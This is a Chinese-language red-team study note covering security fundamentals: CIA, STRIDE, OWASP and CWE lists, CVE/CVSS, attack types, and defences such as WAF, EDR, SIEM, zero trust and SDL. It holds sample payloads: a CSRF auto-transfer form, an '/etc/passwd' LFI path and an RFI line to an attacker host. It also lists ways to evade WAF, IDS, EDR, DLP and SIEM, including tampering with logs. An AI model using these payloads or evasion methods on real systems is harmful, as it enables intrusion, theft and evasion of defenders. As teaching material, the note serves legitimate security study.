目录

一、信息安全概述

信息安全(Information Security)是保护信息和信息系统免受未授权访问、
使用、泄露、破坏、修改或破坏的学科。

三大核心属性:

  • CIA三元组
  • AAA (Authentication, Authorization, Audit)
  • DAD (Disclosure, Alteration, Destruction) - CIA的对立面

红队视角:
攻击者的工作就是在可控范围内打破这些属性,
通过模拟真正的攻击者来测试防御的有效性。

二、CIA三元组

CIA是信息安全最基本的概念框架:

属性定义破坏方式保护措施
Confidentiality (机密性)信息只被授权方访问数据泄露、嗅探、社会工程加密、访问控制、分类
Integrity (完整性)信息不被未授权篡改数据篡改、MITM、SQL注入修改哈希校验、数字签名、版本控制
Availability (可用性)授权用户可在需要时访问DDoS、勒索软件、物理破坏冗余、备份、负载均衡、CDN

扩展属性(CIA延伸):

Authenticity (真实性): 确保信息来源的真实性(非伪造)
Non-repudiation (不可否认性): 行为者不能否认自己的行为(数字签名)
Accountability (可追责性): 行为可追踪到具体个人(审计日志)

红队应用示例:
机密性攻击:窃取数据库中的用户信息(如SQL注入)
完整性攻击:修改转账金额的中间人攻击
可用性攻击:DDoS攻击使服务瘫痪
真实性攻击:伪造登录页面的钓鱼攻击
不可否认性破坏:使用被盗凭证,让追踪更困难

三、威胁建模 (STRIDE模型)

威胁建模是在系统设计阶段系统地识别潜在安全威胁的方法。

【STRIDE模型 - 微软提出】

缩写威胁类型违反的属性说明示例
SSpoofing身份欺骗 (Authentication)冒充其他用户或系统密码猜测、SID伪造
TTampering数据篡改 (Integrity)恶意修改数据SQL注入修改数据库
RRepudiation抵赖 (Non-repudiation)否认做过某个操作删除日志否认登录
IInformation Disclosure信息泄露 (Confidentiality)数据被未授权方获取目录遍历读取源码
DDenial of Service拒绝服务 (Availability)合法用户无法访问资源SYN Flood、HTTP Flood
EElevation of Privilege权限提升 (Authorization)未授权获得更高权限SUID提权、Token窃取

【红队如何使用STRIDE】

  1. 为每个目标系统组件识别STRIDE威胁
    例如Web登录页面:
    S: 暴力破解密码
    T: 修改请求参数绕过登录
    R: 使用代理隐藏真实IP
    I: SQL注入泄露用户表
    D: 登录接口被DDoS
    E: 普通用户越权访问管理员功能

  2. 根据STRIDE规划攻击路径
    先收集信息 -> 找信息泄露(I)
    利用泄露信息猜测口令(S)
    成功登录后横向找提权(E)
    最后可能有篡改(T)或拒绝服务(D)

【其他威胁建模方法】
PASTA: Process for Attack Simulation and Threat Analysis
OCTAVE: Operationally Critical Threat, Asset, and Vulnerability Evaluation
DREAD: Damage, Reproducibility, Exploitability, Affected Users, Discoverability
VAST: Visual, Agile, and Simple Threat modeling

四、漏洞分类体系

【OWASP Top 10 (2021版) - Web应用最权威的漏洞分类】

01 - 访问控制失效 (Broken Access Control)
越权访问、目录遍历、IDOR(不安全的直接对象引用)

02 - 加密失败 (Cryptographic Failures)
明文传输、弱加密算法、硬编码密钥

03 - 注入 (Injection)
SQL注入、命令注入、LDAP注入、NoSQL注入、OS命令注入

04 - 不安全的设计 (Insecure Design)
缺少安全需求、设计缺陷、业务流程漏洞

05 - 安全配置错误 (Security Misconfiguration)
默认账号密码、不必要的功能开启、详细错误信息泄露

06 - 易受攻击和过时的组件 (Vulnerable and Outdated Components)
已知漏洞的库/框架/软件版本、未打补丁的系统

07 - 身份识别和认证失败 (Identification and Authentication Failures)
弱密码策略、凭证填充、会话管理缺陷

08 - 软件和数据完整性故障 (Software and Data Integrity Failures)
不安全的反序列化、CI/CD管道污染、未验证的更新

09 - 安全日志和监控故障 (Security Logging and Monitoring Failures)
日志不足、未检测到攻击、日志泄漏敏感信息

10 - 服务端请求伪造 (SSRF - Server-Side Request Forgery)
服务器被诱导向内部资源发起请求

【CWE Top 25 - MITRE发布的软件最危险弱点】

CWE-787 Out-of-bounds Write (越界写) - 排名第1
CWE-79 XSS (跨站脚本) - 排名第2
CWE-89 SQL注入 - 排名第3
CWE-416 Use After Free - 排名第4
CWE-78 命令注入 - 排名第5
CWE-125 Out-of-bounds Read (越界读) - 排名第7
CWE-20 输入验证不当 - 排名第6
CWE-22 路径遍历 - 排名第8
CWE-352 CSRF - 排名第9
CWE-434 无限制上传危险文件 - 排名第10

漏洞分类的其他维度:

  • 按产生阶段: 设计缺陷, 实现缺陷, 配置缺陷
  • 按攻击面: Web, 网络, 主机, 物理, 社会工程
  • 按利用条件: 远程, 本地, 需要认证, 不需要认证

五、CVE/CVSS评分体系

【CVE (Common Vulnerabilities and Exposures) 】

CVE编号格式: CVE-YYYY-NNNNN
其中 YYYY = 公开年份, NNNNN = 序号(4-8位数字)
示例: CVE-2017-0144 (永恒之蓝, MS17-010)

CVE由MITRE管理,分配给公开的漏洞和暴露
CVE不等于漏洞库数据库(NVD为CVE提供增强信息)

如何查询CVE:
https://nvd.nist.gov/vuln/detail/CVE-2017-0144
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0144
searchsploit <name> # Exploit-DB本地搜索
cve-search (本地CVE数据库)

红队使用CVE:
- 信息收集时识别目标软件/版本 -> 查CVE -> 找Exploit
- 理解CVE的影响范围和利用条件
- 在渗透报告中引用CVE增加专业度

【CVSS v3.1 (Common Vulnerability Scoring System)】

CVSS将漏洞严重性量化为0.0-10.0的分数。

评分等级:
0.0 - None (无影响)
0.1 - 3.9 - Low (低危)
4.0 - 6.9 - Medium (中危)
7.0 - 8.9 - High (高危)
9.0 - 10.0 - Critical (严重)

CVSS v3.1 三组指标:

【Base Score (基础分) - 漏洞固有特征】
Exploitability Metrics (可利用性):
攻击向量(AV): N(网络), A(相邻), L(本地), P(物理)
攻击复杂度(AC): L(低), H(高)
所需权限(PR): N(无需), L(低), H(高)
用户交互(UI): N(无需), R(需要)
影响度量(Impact):
机密性(C): N, L, H
完整性(I): N, L, H
可用性(A): N, L, H
范围(Scope): U(不变), C(改变)

【Temporal Score (时间分) - 随时间变化】
利用代码成熟度(E): X/未定义, H/高(广泛可用), F/功能代码, P/概念验证, U/未经证实
修复措施(RL): X, U/不可用, W/临时方案, T/官方修复, O/无需
报告可信度(RC): X/未知, C/已确认, R/合理, U/未知

【Environmental Score (环境分) - 特定环境】
机密性要求(CR): X/NotDefined, L/低, M/中, H/高
完整性要求(IR): 同上
可用性要求(AR): 同上

CVSS计算器: https://www.first.org/cvss/calculator/3.1

红队理解CVSS的价值:
- 评估漏洞的实际利用价值
- 如果AC=L(低复杂度)+PR=N(无需认证)+AV=N(网路) -> 优先攻击
- 编写渗透报告时用来表述漏洞严重性

六、攻击类型分类

【DoL DoS/DDoS 拒绝服务攻击】

DoS (Denial of Service): 单一来源
DDoS (Distributed DoS): 多来源(僵尸网络)

常见类型:
- SYN Flood: 大量SYN包占满半连接队列
- UDP Flood: 大量UDP包占满带宽
- HTTP Flood: 大量HTTP请求耗尽Web服务器资源
- Slowloris: 慢速HTTP连接保持,占满连接池
- DNS Amplification: 利用开放DNS解析器放大流量
- NTP Amplification: 利用NTP的monlist命令放大流量
- ICMP Flood (Smurf): 利用广播地址放大

红队场景:渗透测试一般不包含DDoS(容易影响业务),但红队演习中可能
用于声东击西。

【MitM 中间人攻击 (Man-in-the-Middle)】

攻击者置于通信双方之间,拦截/嗅探/篡改通信。

常见形式:
- ARP Spoofing: 伪造ARP应答劫持局域网流量
- DNS Spoofing: 伪造DNS响应指向恶意服务器
- SSL Strip: 将HTTPS降级为HTTP
- Evil Twin: 伪造同名Wi-Fi热点
- Rogue DHCP: 伪造DHCP服务器
- BGP Hijacking: 劫持BGP路由

红队工具: BetterCAP, Ettercap, Responder, mitm6

【Phishing 钓鱼攻击】

社会工程攻击,诱骗用户泄露信息。

常见形式:
- Email Phishing: 伪装合法机构的邮件(最常见的入侵方式)
- Spear Phishing: 针对特定个人/组织的定制钓鱼
- Whaling: 针对高管(C-level)的钓鱼
- Vishing: 语音钓鱼(电话)
- Smishing: SMS/短信钓鱼
- Clone Phishing: 克隆合法邮件但替换链接/附件

红队应用: 钓鱼是红队最常见的初始访问手段(Gophish, EvilGophish)

【XSS 跨站脚本 (Cross-Site Scripting)】

注入恶意JavaScript到Web页面,受害者浏览器中执行。

三种类型:
Reflected XSS: 反射型,恶意脚本在HTTP请求中(需要受害者点击链接)
Stored XSS: 存储型,恶意脚本存储在服务器(留言板、评论)
DOM-based XSS: DOM型,纯客户端,不经过服务端

攻击目标:
- 窃取Cookie/Session -> 账号接管
- 键盘记录 -> 窃取凭证
- 页面篡改 -> 钓鱼/水坑攻击
- 浏览器指纹 -> 追踪受害者
- 利用BeEF框架进行浏览器控制

【SQLi SQL注入 (SQL Injection)】

将SQL代码注入到输入参数中,在数据库执行。
详见 08-数据库基础

【CSRF 跨站请求伪造 (Cross-Site Request Forgery)】

受害者在不知情的情况下通过自己的浏览器发送恶意请求。

前提条件: 受害者已登录目标网站
攻击流程:
1. 受害者已登录bank.com
2. 攻击者诱导受害者访问evil.com,evil.com包含自动提交表单:

        <form action="https://bank.com/transfer" method="POST">
          <input type="hidden" name="to" value="attacker">
          <input type="hidden" name="amount" value="10000">
        </form>
        <script>document.forms[0].submit();</script>
 3. 受害者浏览器带着bank.com的Cookie发送转账请求
 4. 服务器认为是受害者的合法操作

防御:
- CSRF Token (不可预测、嵌入表单)
- SameSite Cookie (Strict/Lax)
- 验证Referer/Origin头
- 自定义请求头(X-Requested-With)

【RCE 远程代码执行 (Remote Code Execution)】

攻击者在目标机器上执行任意代码。

导致RCE的常见漏洞:
- 反序列化漏洞(Java deserialization, ysoserial)
- 命令注入(system(), exec(), popen())
- 文件上传(上传WebShell)
- SSRF结合内部服务
- 模板注入(SSTI)
- 表达式语言注入(EL Injection, OGNL)

红队核心目标:拿到RCE = 初步控制

【LFI/RFI 文件包含 (Local/Remote File Inclusion)】

LFI (本地文件包含):
利用文件包含函数读取本地文件
?page=../../../../etc/passwd
升级到RCE: 利用日志文件注入、/proc/self/environ、PHP Wrapper

RFI (远程文件包含):
包含攻击者服务器上的恶意文件
?page=http://attacker.`com/shell`
注意:PHP默认禁用RFI(allow_url_include=Off)

七、防御技术概述

红队需要理解防御技术,才能找到绕过方法。

【WAF (Web Application Firewall)】

检测和过滤Web应用层的攻击流量。

工作方式:
- 黑名单: 匹配已知攻击签名
- 白名单: 只允许合规的请求
- 行为分析: 检测异常访问模式

常见产品: ModSecurity, CloudFlare WAF, AWS WAF, Imperva

红队绕过WAF:
- 编码绕过(双重URL编码、Unicode编码)
- 大小写变体(SelEcT)
- 注释插入(/**/, #, —)
- 分块传输(HTTP Chunked Transfer)
- 参数污染(HPP - HTTP Parameter Pollution)
- 使用等价函数/语法替换

【IDS/IPS (Intrusion Detection/Prevention System)】

IDS (入侵检测): 检测并告警,不阻断
IPS (入侵防御): 检测并主动阻断

类型:
- 基于网络(NIDS): 分析网络流量(Snort, Suricata, Zeek)
- 基于主机(HIDS): 分析主机活动(OSSEC, Wazuh)

检测方法:
- 签名匹配: 匹配已知攻击模式
- 异常检测: 偏离基线的行为
- 协议分析: 违反协议规范的行为

红队绕过IDS/IPS:
- 流量分片和重组混淆
- 加密通信(HTTPS、自定义加密协议)
- 协议隧道(DNS/ICMP隧道)
- 流量模仿(模拟正常业务流量模式)
- 低速攻击(保持在告警阈值以下)

【EDR (Endpoint Detection and Response)】

端点级别的威胁检测和响应。

功能:
- 进程监控(新进程创建、DLL加载)
- 文件监控(文件创建/修改/删除)
- 网络连接监控
- 内存扫描(检测无文件攻击)
- 行为分析(异常进程行为)

常见产品: CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint,
Carbon Black, Cortex XDR

红队绕过EDR:
- 直接syscall(绕过用户态Hook)
- Unhooking ntdll.dll
- DLL Unhooking
- 进程注入到白名单进程(Process Hollowing)
- 利用LOLBins(系统自带工具绕过)
- 延迟执行/反沙箱
- 内存加密(在调用前解密执行后重新加密)

【SIEM (Security Information and Event Management)】

中央日志收集和分析平台。

功能:
- 收集各类安全日志(防火墙、服务器、应用、EDR等)
- 关联分析(跨数据源发现攻击链)
- 实时告警
- 可视化和报表

常见产品: Splunk, Elastic Stack (ELK), QRadar, Azure Sentinel

红队对抗SIEM:
- 了解SIEM的日志来源(哪些设备的哪些日志)
- 了解告警规则(避免触发)
- 尽量在SIEM盲区操作
- 如果可能,篡改日志源

【DLP (Data Loss Prevention) 数据防泄露】

防止敏感数据被有意或无意地外传。

工作方式:
- 内容检查(识别PII、信用卡号等)
- 传输渠道监控(邮件、FTP、HTTP、USB)

红队绕过DLP:
- 数据分块传输(每块数据不匹配DLP规则)
- 加密数据(传输加密后的数据)
- 隐写术(数据嵌入图片)
- 使用允许的协议和通道

八、纵深防御概念

纵深防御(Defense in Depth)是多层防御策略。

防护层次(洋葱模型):

flowchart TB
    subgraph DATA[数据安全 Data]
        direction LR
        D1["加密 / DLP / 备份"]
    end
    subgraph APP[应用安全 Application]
        direction LR
        A1["WAF / 代码审查 / 输入验证"]
    end
    subgraph HOST[主机安全 Host]
        direction LR
        H1["EDR / HIDS / 补丁管理 / 防病毒"]
    end
    subgraph NET[网络安全 Network]
        direction LR
        N1["防火墙 / IDS/IPS / 网络分段"]
    end
    subgraph PHYS[物理安全 Physical]
        direction LR
        P1["门禁 / 监控 / 保安"]
    end
    DATA --> APP --> HOST --> NET --> PHYS

核心原则: 没有单一的防御手段是完全可靠的
每层都可能被突破,但多层组合大大增加攻击难度

红队视角:

  • 纵深防御意味着你需要突破多层防御
  • 或者找到贯穿多层的攻击路径(C2 over DNS绕过IDS+WAF+防火墙)
  • 攻击者成本 = 各层防御难度的叠加

九、零信任架构

零信任(Zero Trust)是”永不信任,始终验证”的安全架构。

【零信任核心原则】

  1. 永不隐式信任
    无论来自内外网,所有用户、设备、应用都必须验证

  2. 最小权限原则
    用户/系统只拥有完成当前任务所需的最小权限
    Just-in-Time (JIT) 访问: 临时授权,用完即收

  3. 假设已遭入侵
    设计时就假设网络中已有攻击者
    进行微隔离(Micro-segmentation)限制横向移动

  4. 持续监控和验证
    不只是一次性认证,而是持续评估信任度
    基于: 用户身份、设备健康度、行为模式、位置等

【零信任架构组件】

  • ZTNA (Zero Trust Network Access): 替代传统VPN
  • IAM (Identity and Access Management): 身份管理
  • 微分段(Micro-segmentation): 工作负载间的最小化通信
  • CASB (Cloud Access Security Broker): 云安全代理
  • SWG (Secure Web Gateway): 安全Web网关

【红队面对零信任的挑战】

  1. 认证难度增加
    MFA普遍实施,凭证窃取不够还需要绕过MFA
    可能的绕过: MFA疲劳攻击、SIM Swapping、TOTP种子窃取

  2. 横向移动受限
    微分段使每台主机都隔离
    需要利用每个目标上自己的凭证
    但零信任配置错误任然存在(信任关系配置过于宽松)

  3. 持久性困难
    基于设备健康度的持续验证
    恶意软件运行环境被持续监测
    C2通信被DLP/SWG检测

  4. 攻击思路转变
    从网络攻击转向身份攻击(窃取合法凭证)
    从主动扫描转向被动等待
    利用零信任本身的配置缺陷

十、安全开发生命周期 (SDL)

SDL (Security Development Lifecycle) 是微软提出的安全开发流程框架。

【SDL七个阶段】

阶段1 - 安全培训 (Training):
对所有开发人员进行安全培训
安全编码最佳实践、隐私要求、威胁建模

阶段2 - 安全需求 (Requirements):
在需求分析阶段纳入安全考量
隐私影响评估、安全里程碑定义

阶段3 - 安全设计 (Design):
架构风险评估、创建威胁模型(STRIDE)
确定信任边界、数据流安全分析

阶段4 - 安全实现 (Implementation):
使用经批准的工具和库
静态代码分析(SAST)集成到开发流程
不使用被弃用的/不安全的API

阶段5 - 安全验证 (Verification):
动态代码分析(DAST)进行渗透测试
模糊测试(Fuzzing)
攻击面审查(Attack Surface Review)

阶段6 - 安全发布 (Release):
最终安全审查(FSR - Final Security Review)
应急响应计划

阶段7 - 安全响应 (Response):
安全事件响应执行
漏洞反馈处理
更新和补丁管理

【DevSecOps - SDL的现代演进】

将安全集成到DevOps流程中:
- “Shift Left”: 安全左移,在开发早期就介入安全
- 持续安全测试: CI/CD管道中的自动SAST/DAST/SCA
- 容器安全: 镜像扫描、运行时安全
- IaC安全: 基础设施即代码的安全扫描(Terraform, K8s YAML)

红队理解SDL的价值:
- 快速了解目标可能存在的安全防护级别
- 识别SDL各阶段的常见人性失误
- 理解为什么某些漏洞不存在(如果SDL执行良好)
- 评估目标的SDL成熟度(决定攻击策略)

十一、红队视角总结

红队需要掌握安全基础概念的核心原因:

  1. 理解攻击目标
    CIA让你明白每次攻击的具体目标是什么

  2. 威胁建模 = 攻击路径规划
    STRIDE帮你系统性地思考攻击面而非随机尝试

  3. OWASP Top 10 = 命中率高的问题清单
    绝大多数Web应用一定有至少一项OWASP Top 10问题

  4. CVE/CVSS = 漏洞价值评估
    帮助你从海量CVE中快速找出最值得利用的

  5. 理解防御 = 知道如何绕过
    不了解WAF/EDR原理就无法真正绕过它们

  6. 零信任 = 新的攻击挑战
    红队必须适应零信任环境下的新攻击技术

  7. SDL = 理解漏洞根源
    知道漏洞是如何产生的才能更好地利用它

记忆口诀:
CIA是目标,STRIDE是方法,OWASP是方向
CVE是弹药,CVSS是烈度,防御是障碍
纵深防御是厚度,零信任是新挑战